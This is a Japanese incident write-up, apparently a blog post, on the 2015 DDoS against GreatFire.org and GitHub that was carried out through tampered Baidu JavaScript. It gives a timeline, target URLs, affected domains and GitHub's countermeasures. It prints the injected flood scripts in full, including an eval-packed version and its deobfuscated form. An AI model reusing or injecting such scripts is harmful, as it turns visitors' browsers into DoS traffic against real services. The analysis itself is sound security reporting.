Githubが同社サービスに対してDoS攻撃が行われていることを発表しました。一連のDoS攻撃はGreatfire.orgに対して行われているものと考えられ、ここではGreatFire.orgに関係するDoS攻撃の情報をまとめます。
公式発表
GreatFire.org
- 2015年3月19日 We are under attack
- 2015年3月25日 (PDF) Using Baidu 百度 to steer millions of computers to launch denial of service attacks
Github 公式Blog
Github 公式Twitter
The attack has ramped up again, and we're evolving our mitigation strategies to match.
— GitHub (@github) 2015, 3月 27
We've deployed our volumetric attack defenses against an extremely large amount of traffic. Performance is stabilizing.
— GitHub (@github) 2015, 3月 27
タイムライン
日時(JST) | 出来事 |
---|---|
2015年3月17日 | GreatFire.orgに対してDoS攻撃が開始される。 |
2015年3月19日 | GreatFire.orgがAmazon Cloudfrontに設置しているWebサイトに対してDoS攻撃が行われていることを発表。 |
2015年3月20日 | GreatFire.orgがミラーサイト(GitHub)に対して攻撃が行われていると報告。 |
2015年3月25日 11時8分 | GithubがDoS攻撃を受けていることを確認し対応にあたっていると発表。 |
〃 | GreateFire.orgがDoS攻撃の詳細についてレポートを公開。 |
2015年3月26日〜28日 | Githubへ継続してDoS攻撃が行われていることを発表。 |
2015年3月28日 | GithubがBlogにDoS攻撃について発表。 |
2015年3月29日 9時50分 | 攻撃への防御を開始して71時間が経過。緩和策の導入によりサービスが安定したことを発表。 |
2015年3月20時50分 | Githubが攻撃はまだ継続していることを報告。 |
2015年3月31日20時11分 | Githubが通常の状態に戻ったことを報告。 |
1.Amazon Cloudfrontへ行われたDoS攻撃の概要(3月18日〜3月23日)
3月18日以降、Baiduのサービスを利用するWebサイトへアクセスした際に、Baiduの複数のJavaScriptがAmazon Cloudfrontに対して2秒おきに接続するJavaScriptに置き換えられていたことにより、当該サービスに対して大量のトラフィックが発生した。
DoS攻撃時に付与されるGETリクエストのアクセス状況(Greatfire.orgレポートより引用)
2.Githubへ行われたDoS攻撃の概要(3月25日?〜)
中国国内中国国外から*1Baiduのアクセス統計サービス等を利用するWebサイトにアクセスした際、Baiduのウェブサイトで読み込まれるJavaScriptがGithubの2つのURLに対し2秒毎に接続するJavaScriptに置き換えられたことにより、Githubに対して大量のトラフィックが発生した模様。GreatFire.orgへ行われたDoS攻撃と方法は同じと考えられる。尚、Baidu社のJavaScriptが置き換えられていた理由についてpiyokangoはBaidu側からの公式発表をまだ確認できていない。
DoS攻撃の対象とされたURL
(1) Amazon Cloudfront
次のURLに対して少なくともDoS攻撃が行われたことがGreatFire.orgにより報告されている。検閲対象とされたWebサイトが設置されていたものと推測できるが、いずれの当該URLに対しても現在接続することは出来ない。
(2) Github
greatfireが管理するGithub上の2つのProjectに対して行われた。
対象URL | 概要 | 管理者 |
---|---|---|
https://github.com/greatfire/ | GreatFireのProject | greatfire |
https://github.com/cn-nytimes/ | NYT中国語版のミラーサイトを紹介しているURL | greatfire |
- Github上のgreatfire
- NYTの中国語版ミラーサイト
Github上にはミラーサイトのURLやiOS向けアプリが紹介されている。
ミラーサイトそのものは別のクラウドサービス(Windows Azure、Amazon Cloudfront)上に構築されている。
DititalAttack Mapのここ数日の状況
DigitalAttack Mapの2015年3月23日〜28日におけるDoS攻撃の状況は次の状況となっている。25日以降、中国からアメリカに、27日以降はカナダにも攻撃が行われている様子が確認できる。
置き換えられたDoS JavaScript詳細
Baidu社の複数のJavaScriptが何らかの理由により置き換えられていた模様。尚、Github向けに行われた攻撃では置き換えられていたのはHTTP(80)のみでHTTPS(443)は影響を受けていなかったとの報告がある。
置き換えられたと報告があったJavaScript
Amazon,GithubへのDoSスクリプトに置き換えられたとして報告が挙がっているURLは次の2つ。
置き換えられたURL | Amazon | Github |
---|---|---|
dup.baidustatic.com | 報告あり | − |
ecomcbjs.jomodns.com | 報告あり | − |
cbjs.e.shifen.com | 報告あり | − |
hm.baidu.com | 報告あり | 報告あり |
eclick.baidu.com | 報告あり | − |
pos.baidu.com | 報告あり | − |
cpro.baidu.com | 報告あり | − |
hm.e.shifen.com | 報告あり | − |
cbjs.baidu.com | 報告あり | 報告あり |
Amazon側のURLはすべてGreatfireのレポート「Where is the tampering taking place?」より。
(1) Amazon Cloudfront向けのDoS攻撃コード
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'><\/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'><\/script>"); startime = new Date().getTime(); var count = 0; function unixtime() { var dt = new Date(); var ux = Date.UTC(dt.getFullYear(), dt.getMonth(), dt.getDay(), dt.getHours(), dt.getMinutes(), dt.getSeconds()) / 1000; return ux; } url_array = new Array("https://d117ucqx7my6vj.cloudfront.net", "https://d14qqseh1jha6e.cloudfront.net", "https://d18yee9du95yb4.cloudfront.net", "https://d19r410x06nzy6.cloudfront.net", "https://d1blw6ybvy6vm2.cloudfront.net") NUM = url_array.length; function r_send2() { var x = unixtime() % NUM; var url = url_array[x]; get(url); } function get(myurl) { var ping; $.ajax({ url: myurl + "?" + unixtime(), dataType: "text", timeout: 10000, cache: true, beforeSend: function() { requestTime = new Date().getTime(); }, complete: function() { responseTime = new Date().getTime(); ping = Math.floor(responseTime - requestTime); if (responseTime - startime < 300000) { r_send(ping); count = count + 1; } } }); } function r_send(ping) { setTimeout("r_send2()", ping); } setTimeout("r_send2()", 2000);
(2) Github向けのDoS攻撃コード
実際に置き換えられていた難読化されたJavaScript。
eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('l.k("<5 p=\'r://H.B.9/8/2.0.0/8.C.t\'>\\h/5>");!J.K&&l.k("<5 p=\'r://L.8.9/8-T.t\'>\\h/5>");j=(6 4).c();7 g=0;3 i(){7 a=6 4;V 4.Z(a.10(),a.w(),a.x(),a.11(),a.y(),a.z())/A}d=["m://n.9/E/","m://n.9/F-G/"];o=d.I;3 e(){7 a=i()%o;q(d[a])}3 q(a){7 b;$.M({N:a,O:"5",P:Q,R:!0,S:3(){s=(6 4).c()},U:3(){f=(6 4).c();b=W.X(f-s);Y>f-j&&(u(b),g+=1)}})}3 u(a){v("e()",a)}v("e()",D);',62,64,'|||function|Date|script|new|var|jquery|com|||getTime|url_array|r_send2|responseTime|count|x3c|unixtime|startime|write|document|https|github|NUM|src|get|http|requestTime|js|r_send|setTimeout|getMonth|getDay|getMinutes|getSeconds|1E3|baidu|min|2E3|greatfire|cn|nytimes|libs|length|window|jQuery|code|ajax|url|dataType|timeout|1E4|cache|beforeSend|latest|complete|return|Math|floor|3E5|UTC|getFullYear|getHours'.split('|'),0,{}))
以下は可読化したもの。
document.write("<script src='http://libs.baidu.com/jquery/2.0.0/jquery.min.js'>\x3c/script>"); !window.jQuery && document.write("<script src='http://code.jquery.com/jquery-latest.js'>\x3c/script>"); startime = (new Date).getTime(); var count = 0; function unixtime() { var a = new Date; return Date.UTC(a.getFullYear(), a.getMonth(), a.getDay(), a.getHours(), a.getMinutes(), a.getSeconds()) / 1E3 } url_array = ["https://github.com/greatfire/", "https://github.com/cn-nytimes/"]; NUM = url_array.length; function r_send2() { var a = unixtime() % NUM; get(url_array[a]) } function get(a) { var b; $.ajax({ url: a, dataType: "script", timeout: 1E4, cache: !0, beforeSend: function() { requestTime = (new Date).getTime() }, complete: function() { responseTime = (new Date).getTime(); b = Math.floor(responseTime - requestTime); 3E5 > responseTime - startime && (r_send(b), count += 1) } }) } function r_send(a) { setTimeout("r_send2()", a) } setTimeout("r_send2()", 2E3);
参考 (1) GreatFire.orgとは何か
中国で検閲対象とされているサイトがどれかを確認するサービスを提供しているWebサイト。GIGAZINEの解説がくわしい。
参考 (2) 置き換えが行われたJavaScriptとはそもそも何だったのか
hm.baidu.com/h.js
「hm.baidu.com/h.js」はBaiduの統計サービスを利用したウェブサイトで読み込まれるJavaScript。
http://tongji.baidu.com/open/api/more?p=guide_overview
正規のJavaScriptサンプル(zone.wooyun.orgに接続した際に読み込まれるBaiduのJavaScript)
cbjs.baidu.com/js/m.js
Baiduの広告に使用されるJavaScript。
参考 (3) Githubの対策で確認されているもの
対象URLでAlertダイアログの表示
置き換えられたJavaScriptからDoS対象とされているURLへ接続すると「WARNING: malicious javascript detected on this domain」とダイアログが表示されるように2つのURLだけトップページが置き換えられていた。別の対策が既に機能したためか、3月31日時点では通常のトップページが表示されるようになっている。末尾のスラッシュを取り除くと通常のトップページが表示される。他のProjectではこのような対応は取られていない模様。
以下動画はGithub側の対策によりアラートが大量表示されるようになった様子。ユーザーが変更可能なページではないため、GreatfireではなくGithub側がとった対策と考えられる。
参考情報
- China's Man-on-the-Side Attack on GitHub - NETRESEC Blog
- China's Great Cannon CitizenLab (魚拓)
- 中国国内のサイトブロック状況が分かる「GreatFire.org」がサイバー攻撃を受け、事態は予断を許さない状況 - GIGAZINE
- Last night, GitHub was hit with massive denial-of-service attack from China | The Verge
- Did China Just Launch a Cyber Attack on GitHub? | Motherboard
- The injected JavaScript used to smash anti-Great Firewall of China GitHub projects offline • The Register
- https://twitter.com/bitinn/status/581350026217013248